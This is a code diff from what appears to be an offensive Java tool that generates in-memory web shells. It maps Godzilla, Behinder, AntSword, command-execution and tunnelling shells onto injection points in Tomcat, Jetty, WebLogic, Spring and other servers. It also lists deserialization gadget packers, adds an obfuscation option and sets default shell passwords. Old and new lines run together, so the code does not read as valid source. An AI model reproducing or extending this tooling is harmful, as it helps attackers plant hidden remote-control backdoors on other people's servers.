implementation 'org.springframework:spring-webmvc' implementation 'org.springframework:spring-webmvc'
implementation 'org.springframework:spring-webflux' implementation 'org.springframework:spring-webflux'
@@ -58,5 +48,4 @@ dependencies {
testImplementation 'org.junit.jupiter:junit-jupiter' testImplementation 'org.junit.jupiter:junit-jupiter'
testRuntimeOnly 'org.junit.platform:junit-platform-launcher' testRuntimeOnly 'org.junit.platform:junit-platform-launcher'
testImplementation "org.mockito:mockito-core" testImplementation "org.mockito:mockito-core"
testImplementation 'org.mockito:mockito-junit-jupiter'
} }
@@ -7,8 +7,6 @@ import com.reajason.javaweb.memshell.utils.CommonUtil;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import org.apache.commons.lang3.tuple.Pair; import org.apache.commons.lang3.tuple.Pair;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
* @since 2024/11/24 * @since 2024/11/24
@@ -19,9 +17,8 @@ public class MemShellGenerator {
Server server = shellConfig.getServer(); Server server = shellConfig.getServer();
AbstractShell shell = server.getShell(); AbstractShell shell = server.getShell();
if (shell == null) { if (shell == null) {
throw new IllegalArgumentException("Unsupported server: " + server); throw new IllegalArgumentException("Unsupported server");
} }
if (StringUtils.isBlank(shellToolConfig.getShellClassName())) { if (StringUtils.isBlank(shellToolConfig.getShellClassName())) {
shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType())); shellToolConfig.setShellClassName(CommonUtil.generateShellClassName(server, shellConfig.getShellType()));
} }
@@ -30,29 +27,24 @@ public class MemShellGenerator {
injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName()); injectorConfig.setInjectorClassName(CommonUtil.generateInjectorClassName());
} }
Class<?> injectorClass = null;
if (ShellTool.Custom.equals(shellConfig.getShellTool())) {
injectorClass = shellConfig.getServer().getShell().getShellInjectorMapping().getInjector(shellConfig.getShellType());
} else {
Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType()); Pair<Class<?>, Class<?>> shellInjectorPair = shellConfig.getServer().getShell().getShellInjectorPair(shellConfig.getShellTool(), shellConfig.getShellType());
if (shellInjectorPair == null) { if (shellInjectorPair == null) {
throw new UnsupportedOperationException(server + " unsupported shell type: " + shellConfig.getShellType() + " for tool: " + shellConfig.getShellTool()); throw new UnsupportedOperationException("Unknown shell type: " + shellConfig.getShellType());
} }
Class<?> shellClass = shellInjectorPair.getLeft(); Class<?> shellClass = shellInjectorPair.getLeft();
injectorClass = shellInjectorPair.getRight(); Class<?> injectorClass = shellInjectorPair.getRight();
shellToolConfig.setShellClass(shellClass); shellToolConfig.setShellClass(shellClass);
}
byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig); byte[] shellBytes = generateShellBytes(shellConfig, shellToolConfig);
injectorConfig.setInjectorClass(injectorClass); injectorConfig = injectorConfig
injectorConfig.setShellClassName(shellToolConfig.getShellClassName()); .toBuilder()
injectorConfig.setShellClassBytes(shellBytes); .injectorClass(injectorClass)
.shellClassName(shellToolConfig.getShellClassName())
.shellClassBytes(shellBytes).build();
InjectorGenerator injectorGenerator = new InjectorGenerator(shellConfig, injectorConfig); byte[] injectorBytes = new InjectorGenerator(shellConfig, injectorConfig).generate();
byte[] injectorBytes = injectorGenerator.generate();
Map<String, byte[]> innerClassBytes = injectorGenerator.getInnerClassBytes();
return GenerateResult.builder() return GenerateResult.builder()
.shellConfig(shellConfig) .shellConfig(shellConfig)
@@ -62,7 +54,6 @@ public class MemShellGenerator {
.shellBytes(shellBytes) .shellBytes(shellBytes)
.injectorClassName(injectorConfig.getInjectorClassName()) .injectorClassName(injectorConfig.getInjectorClassName())
.injectorBytes(injectorBytes) .injectorBytes(injectorBytes)
.injectorInnerClassBytes(innerClassBytes)
.build(); .build();
} }
@@ -78,10 +69,6 @@ public class MemShellGenerator {
return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes(); return new Suo5Generator(shellConfig, ((Suo5Config) shellToolConfig)).getBytes();
case AntSword: case AntSword:
return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes(); return new AntSwordGenerator(shellConfig, (AntSwordConfig) shellToolConfig).getBytes();
case NeoreGeorg:
return new NeoreGeorgGenerator(shellConfig, (NeoreGeorgConfig) shellToolConfig).getBytes();
case Custom:
return new CustomShellGenerator(shellConfig, (CustomConfig) shellToolConfig).getBytes();
default: default:
throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool()); throw new UnsupportedOperationException("Unknown shell tool: " + shellConfig.getShellTool());
} }
@@ -103,8 +103,6 @@ public enum Packers {
JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils17(new CommonsBeanutils18Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils16(new CommonsBeanutils16Packer(), JavaDeserializePacker.class),
JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class), JavaCommonsBeanutils110(new CommonsBeanutils110Packer(), JavaDeserializePacker.class),
JavaCommonsCollections3(new CommonsCollections3Packer(), JavaDeserializePacker.class),
JavaCommonsCollections4(new CommonsCollections4Packer(), JavaDeserializePacker.class),
/** /**
* Hessian 反序列化打包器 * Hessian 反序列化打包器
@@ -9,16 +9,10 @@ import com.reajason.javaweb.memshell.shelltool.behinder.jetty.BehinderHandlerAdv
import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.behinder.undertow.BehinderServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.*; import com.reajason.javaweb.memshell.shelltool.command.*;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.command.jetty.CommandHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServerInitialHandlerAsmMethodVisitor;
import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.command.undertow.CommandServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.*; import com.reajason.javaweb.memshell.shelltool.godzilla.*;
import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.jetty.GodzillaHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor; import com.reajason.javaweb.memshell.shelltool.godzilla.undertow.GodzillaServletInitialHandlerAdvisor;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgFilter;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgListener;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgServlet;
import com.reajason.javaweb.memshell.shelltool.neoreg.NeoreGeorgValve;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Filter;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Listener;
import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet; import com.reajason.javaweb.memshell.shelltool.suo5.Suo5Servlet;
@@ -40,11 +34,10 @@ import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.behinder.BehinderServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.command.CommandControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor; import com.reajason.javaweb.memshell.springwebmvc.command.CommandInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.command.CommandServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor; import com.reajason.javaweb.memshell.springwebmvc.godzilla.GodzillaServletAdvisor;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.neoreg.NeoreGeorgInterceptor;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5ControllerHandler;
import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor; import com.reajason.javaweb.memshell.springwebmvc.suo5.Suo5Interceptor;
import lombok.Getter; import lombok.Getter;
@@ -67,7 +60,7 @@ public enum Server {
*/ */
Jetty(new JettyShell()), Jetty(new JettyShell()),
/** /**
* JBoss AS 中间件JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a> * JBoss AS 中间件, JBoss 6.4-EAP 也使用的当前方式 <a href="https://jbossas.jboss.org/downloads">JBoss AS</a>
*/ */
JBossAS(new JbossShell()), JBossAS(new JbossShell()),
JBossEAP6(new JbossShell()), JBossEAP6(new JbossShell()),
@@ -100,7 +93,7 @@ public enum Server {
WebLogic(new WebLogicShell()), WebLogic(new WebLogicShell()),
/** /**
* Resin 中间件<a href="https://caucho.com/products/resin/download">Resin</a> * Resin 中间件, <a href="https://caucho.com/products/resin/download">Resin</a>
*/ */
Resin(new ResinShell()), Resin(new ResinShell()),
@@ -134,7 +127,8 @@ public enum Server {
/** /**
* XXL-JOB * XXL-JOB
*/ */
XXLJOB(new XxlJobShell()); XXLJOB(new XxlJobShell())
;
private final AbstractShell shell; private final AbstractShell shell;
@@ -143,6 +137,34 @@ public enum Server {
} }
static { static {
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandServletAdvisor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Godzilla, ToolMapping.builder() addToolMapping(ShellTool.Godzilla, ToolMapping.builder()
.addShellClass(SERVLET, GodzillaServlet.class) .addShellClass(SERVLET, GodzillaServlet.class)
.addShellClass(JAKARTA_SERVLET, GodzillaServlet.class) .addShellClass(JAKARTA_SERVLET, GodzillaServlet.class)
@@ -191,57 +213,6 @@ public enum Server {
.addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class) .addShellClass(WAS_AGENT_FILTER_MANAGER, BehinderFilterChainAdvisor.class)
.build()); .build());
addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(VALVE, AntSwordValve.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build());
addToolMapping(ShellTool.Command, ToolMapping.builder()
.addShellClass(SERVLET, CommandServlet.class)
.addShellClass(JAKARTA_SERVLET, CommandServlet.class)
.addShellClass(FILTER, CommandFilter.class)
.addShellClass(JAKARTA_FILTER, CommandFilter.class)
.addShellClass(LISTENER, CommandListener.class)
.addShellClass(JAKARTA_LISTENER, CommandListener.class)
.addShellClass(VALVE, CommandValve.class)
.addShellClass(JAKARTA_VALVE, CommandValve.class)
.addShellClass(WEBSOCKET, CommandWebSocket.class)
.addShellClass(JAKARTA_WEBSOCKET, CommandWebSocket.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, CommandInterceptor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, CommandControllerHandler.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, CommandFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, CommandWebFilter.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_METHOD, CommandHandlerMethod.class)
.addShellClass(SPRING_WEBFLUX_HANDLER_FUNCTION, CommandHandlerFunction.class)
.addShellClass(NETTY_HANDLER, CommandNettyHandler.class)
.addShellClass(AGENT_FILTER_CHAIN, CommandFilterChainAdvisor.class)
.addShellClass(AGENT_FILTER_CHAIN_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE, CommandFilterChainAdvisor.class)
.addShellClass(CATALINA_AGENT_CONTEXT_VALVE_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(JETTY_AGENT_HANDLER, CommandHandlerAdvisor.class)
.addShellClass(JETTY_AGENT_HANDLER_ASM, CommandHandlerAsmMethodVisitor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, CommandServletInitialHandlerAdvisor.class)
.addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER_ASM, CommandServerInitialHandlerAsmMethodVisitor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, CommandFilterChainAdvisor.class)
.addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM, CommandFilterChainAsmMethodVisitor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, CommandFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER_ASM, CommandFilterChainAsmMethodVisitor.class)
.build());
addToolMapping(ShellTool.Suo5, ToolMapping.builder() addToolMapping(ShellTool.Suo5, ToolMapping.builder()
.addShellClass(SERVLET, Suo5Servlet.class) .addShellClass(SERVLET, Suo5Servlet.class)
.addShellClass(JAKARTA_SERVLET, Suo5Servlet.class) .addShellClass(JAKARTA_SERVLET, Suo5Servlet.class)
@@ -258,19 +229,20 @@ public enum Server {
.addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class) .addShellClass(SPRING_WEBFLUX_WEB_FILTER, Suo5WebFilter.class)
.build()); .build());
addToolMapping(ShellTool.NeoreGeorg, ToolMapping.builder() addToolMapping(ShellTool.AntSword, ToolMapping.builder()
.addShellClass(SERVLET, NeoreGeorgServlet.class) .addShellClass(SERVLET, AntSwordServlet.class)
.addShellClass(JAKARTA_SERVLET, NeoreGeorgServlet.class) .addShellClass(FILTER, AntSwordFilter.class)
.addShellClass(FILTER, NeoreGeorgFilter.class) .addShellClass(LISTENER, AntSwordListener.class)
.addShellClass(JAKARTA_FILTER, NeoreGeorgFilter.class) .addShellClass(VALVE, AntSwordValve.class)
.addShellClass(LISTENER, NeoreGeorgListener.class) .addShellClass(SPRING_WEBMVC_INTERCEPTOR, AntSwordInterceptor.class)
.addShellClass(JAKARTA_LISTENER, NeoreGeorgListener.class) .addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, AntSwordControllerHandler.class)
.addShellClass(VALVE, NeoreGeorgValve.class) .addShellClass(SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET, AntSwordServletAdvisor.class)
.addShellClass(JAKARTA_VALVE, NeoreGeorgValve.class) .addShellClass(AGENT_FILTER_CHAIN, AntSwordFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(CATALINA_AGENT_CONTEXT_VALVE, AntSwordFilterChainAdvisor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_INTERCEPTOR, NeoreGeorgInterceptor.class) .addShellClass(JETTY_AGENT_HANDLER, AntSwordHandlerAdvisor.class)
.addShellClass(SPRING_WEBMVC_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(UNDERTOW_AGENT_SERVLET_HANDLER, AntSwordServletInitialHandlerAdvisor.class)
.addShellClass(SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER, NeoreGeorgControllerHandler.class) .addShellClass(WEBLOGIC_AGENT_SERVLET_CONTEXT, AntSwordFilterChainAdvisor.class)
.addShellClass(WAS_AGENT_FILTER_MANAGER, AntSwordFilterChainAdvisor.class)
.build()); .build());
} }
} }
@@ -10,35 +10,25 @@ public enum ShellTool {
*/ */
Godzilla, Godzilla,
/**
* 命令回显
*/
Command,
/** /**
* 冰蝎 * 冰蝎
*/ */
Behinder, Behinder,
/**
* Suo5 隧道代理
*/
Suo5,
/** /**
* 蚁剑 * 蚁剑
*/ */
AntSword, AntSword,
/**
* 命令回显
*/
Command,
/**
* Suo5 隧道代理 <a href="https://github.com/zema1/suo5">zema1/suo5</a>
*/
Suo5,
/**
* Neo-reGeorg <a href="https://github.com/L-codes/Neo-reGeorg">L-codes/Neo-reGeorg</a>
*/
NeoreGeorg,
/**
* 自定义
*/
Custom,
; ;
} }
@@ -19,27 +19,19 @@ public class ShellType {
public static final String NETTY_HANDLER = "NettyHandler"; public static final String NETTY_HANDLER = "NettyHandler";
public static final String AGENT = "Agent"; public static final String AGENT = "Agent";
public static final String ASM = "ASM";
public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain"; public static final String AGENT_FILTER_CHAIN = AGENT + "FilterChain";
public static final String AGENT_FILTER_CHAIN_ASM = AGENT + "FilterChain" + ASM;
public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve"; public static final String CATALINA_AGENT_CONTEXT_VALVE = AGENT + "ContextValve";
public static final String CATALINA_AGENT_CONTEXT_VALVE_ASM = AGENT + "ContextValve" + ASM;
public static final String JETTY_AGENT_HANDLER = AGENT + "Handler"; public static final String JETTY_AGENT_HANDLER = AGENT + "Handler";
public static final String JETTY_AGENT_HANDLER_ASM = AGENT + "Handler" + ASM;
public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler"; public static final String UNDERTOW_AGENT_SERVLET_HANDLER = AGENT + "ServletHandler";
public static final String UNDERTOW_AGENT_SERVLET_HANDLER_ASM = AGENT + "ServletHandler" + ASM;
public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager"; public static final String WAS_AGENT_FILTER_MANAGER = AGENT + "FilterManager";
public static final String WAS_AGENT_FILTER_MANAGER_ASM = AGENT + "FilterManager" + ASM;
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext"; public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT = AGENT + "ServletContext";
public static final String WEBLOGIC_AGENT_SERVLET_CONTEXT_ASM = AGENT + "ServletContext" + ASM;
public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor"; public static final String SPRING_WEBMVC_INTERCEPTOR = "Interceptor";
public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor"; public static final String SPRING_WEBMVC_JAKARTA_INTERCEPTOR = "JakartaInterceptor";
public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler"; public static final String SPRING_WEBMVC_CONTROLLER_HANDLER = "ControllerHandler";
public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler"; public static final String SPRING_WEBMVC_JAKARTA_CONTROLLER_HANDLER = "JakartaControllerHandler";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet"; public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET = AGENT + "FrameworkServlet";
public static final String SPRING_WEBMVC_AGENT_FRAMEWORK_SERVLET_ASM = AGENT + "FrameworkServlet" + ASM;
public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter"; public static final String SPRING_WEBFLUX_WEB_FILTER = "WebFilter";
public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod"; public static final String SPRING_WEBFLUX_HANDLER_METHOD = "HandlerMethod";
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class AntSwordConfig extends ShellToolConfig { public class AntSwordConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = CommonUtil.getRandomString(8); private String pass = "pass";
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
@@ -15,7 +15,7 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class BehinderConfig extends ShellToolConfig { public class BehinderConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = CommonUtil.getRandomString(8); private String pass = "pass";
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
@@ -1,6 +1,5 @@
package com.reajason.javaweb.memshell.config; package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.Builder; import lombok.Builder;
import lombok.Getter; import lombok.Getter;
import lombok.ToString; import lombok.ToString;
@@ -15,5 +14,5 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class CommandConfig extends ShellToolConfig { public class CommandConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String paramName = CommonUtil.getRandomString(8); private String paramName = "cmd";
} }
@@ -1,20 +0,0 @@
package com.reajason.javaweb.memshell.config;
import lombok.AllArgsConstructor;
import lombok.Getter;
import lombok.NoArgsConstructor;
import lombok.ToString;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/12
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class CustomConfig extends ShellToolConfig {
private String shellClassBase64;
}
@@ -4,9 +4,7 @@ import lombok.AllArgsConstructor;
import lombok.Builder; import lombok.Builder;
import lombok.Data; import lombok.Data;
import lombok.NoArgsConstructor; import lombok.NoArgsConstructor;
import org.apache.commons.codec.binary.Base64;
import java.util.Base64;
import java.util.Map;
/** /**
* @author ReaJason * @author ReaJason
@@ -23,7 +21,6 @@ public class GenerateResult {
private String shellBytesBase64Str; private String shellBytesBase64Str;
private String injectorClassName; private String injectorClassName;
private transient byte[] injectorBytes; private transient byte[] injectorBytes;
private transient Map<String, byte[]> injectorInnerClassBytes;
private long injectorSize; private long injectorSize;
private String injectorBytesBase64Str; private String injectorBytesBase64Str;
private ShellConfig shellConfig; private ShellConfig shellConfig;
@@ -33,15 +30,15 @@ public class GenerateResult {
public static class GenerateResultBuilder { public static class GenerateResultBuilder {
public GenerateResult build() { public GenerateResult build() {
if (shellBytes != null) { if (shellBytes != null) {
shellBytesBase64Str = Base64.getEncoder().encodeToString(shellBytes); shellBytesBase64Str = Base64.encodeBase64String(shellBytes);
shellSize = shellBytes.length; shellSize = shellBytes.length;
} }
if (injectorBytes != null) { if (injectorBytes != null) {
injectorBytesBase64Str = Base64.getEncoder().encodeToString(injectorBytes); injectorBytesBase64Str = Base64.encodeBase64String(injectorBytes);
injectorSize = injectorBytes.length; injectorSize = injectorBytes.length;
} }
return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str, return new GenerateResult(shellClassName, shellBytes, shellSize, shellBytesBase64Str,
injectorClassName, injectorBytes, injectorInnerClassBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig); injectorClassName, injectorBytes, injectorSize, injectorBytesBase64Str, shellConfig, shellToolConfig, injectorConfig);
} }
} }
} }
@@ -15,9 +15,9 @@ import lombok.experimental.SuperBuilder;
@ToString @ToString
public class GodzillaConfig extends ShellToolConfig { public class GodzillaConfig extends ShellToolConfig {
@Builder.Default @Builder.Default
private String pass = CommonUtil.getRandomString(8); private String pass = "pass";
@Builder.Default @Builder.Default
private String key = CommonUtil.getRandomString(8); private String key = "key";
@Builder.Default @Builder.Default
private String headerName = "User-Agent"; private String headerName = "User-Agent";
@Builder.Default @Builder.Default
@@ -1,21 +0,0 @@
package com.reajason.javaweb.memshell.config;
import com.reajason.javaweb.memshell.utils.CommonUtil;
import lombok.*;
import lombok.experimental.SuperBuilder;
/**
* @author ReaJason
* @since 2025/2/28
*/
@Getter
@SuperBuilder
@NoArgsConstructor
@AllArgsConstructor
@ToString
public class NeoreGeorgConfig extends ShellToolConfig {
@Builder.Default
private String headerName = "Referer";
@Builder.Default
private String headerValue = CommonUtil.getRandomString(8);
}
@@ -45,6 +45,12 @@ public class ShellConfig {
@Builder.Default @Builder.Default
private boolean byPassJavaModule = false; private boolean byPassJavaModule = false;
/**
* 是否开启混淆
*/
@Builder.Default
private boolean obfuscate = false;
/** /**
* 是否开启调试 * 是否开启调试
*/ */
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.BehinderConfig; import com.reajason.javaweb.memshell.config.BehinderConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
import net.bytebuddy.dynamic.DynamicType; import net.bytebuddy.dynamic.DynamicType;
import org.apache.commons.codec.digest.DigestUtils;
import org.apache.commons.lang3.StringUtils; import org.apache.commons.lang3.StringUtils;
import java.util.HashMap; import java.util.HashMap;
@@ -1,36 +0,0 @@
package com.reajason.javaweb.memshell.generator;
import com.reajason.javaweb.ClassBytesShrink;
import com.reajason.javaweb.asm.ClassRenameUtils;
import com.reajason.javaweb.memshell.config.CustomConfig;
import com.reajason.javaweb.memshell.config.ShellConfig;
import org.apache.commons.lang3.StringUtils;
import java.util.Base64;
/**
* @author ReaJason
* @since 2025/3/18
*/
public class CustomShellGenerator {
private final ShellConfig shellConfig;
private final CustomConfig customConfig;
public CustomShellGenerator(ShellConfig shellConfig, CustomConfig customConfig) {
this.shellConfig = shellConfig;
this.customConfig = customConfig;
}
public byte[] getBytes() {
String shellClassBase64 = customConfig.getShellClassBase64();
if (StringUtils.isBlank(shellClassBase64)) {
throw new IllegalArgumentException("Custom shell class is empty");
}
byte[] bytes = ClassRenameUtils.renameClass(Base64.getDecoder().decode(shellClassBase64), customConfig.getShellClassName());
return ClassBytesShrink.shrink(bytes, shellConfig.isShrink());
}
}
@@ -8,9 +8,9 @@ import com.reajason.javaweb.buddy.TargetJreVersionVisitorWrapper;
import com.reajason.javaweb.memshell.ShellType; import com.reajason.javaweb.memshell.ShellType;
import com.reajason.javaweb.memshell.config.GodzillaConfig; import com.reajason.javaweb.memshell.config.GodzillaConfig;
import com.reajason.javaweb.memshell.config.ShellConfig; import com.reajason.javaweb.memshell.config.ShellConfig;
import com.reajason.javaweb.memshell.utils.DigestUtils;
import net.bytebuddy.ByteBuddy; import net.bytebuddy.ByteBuddy;
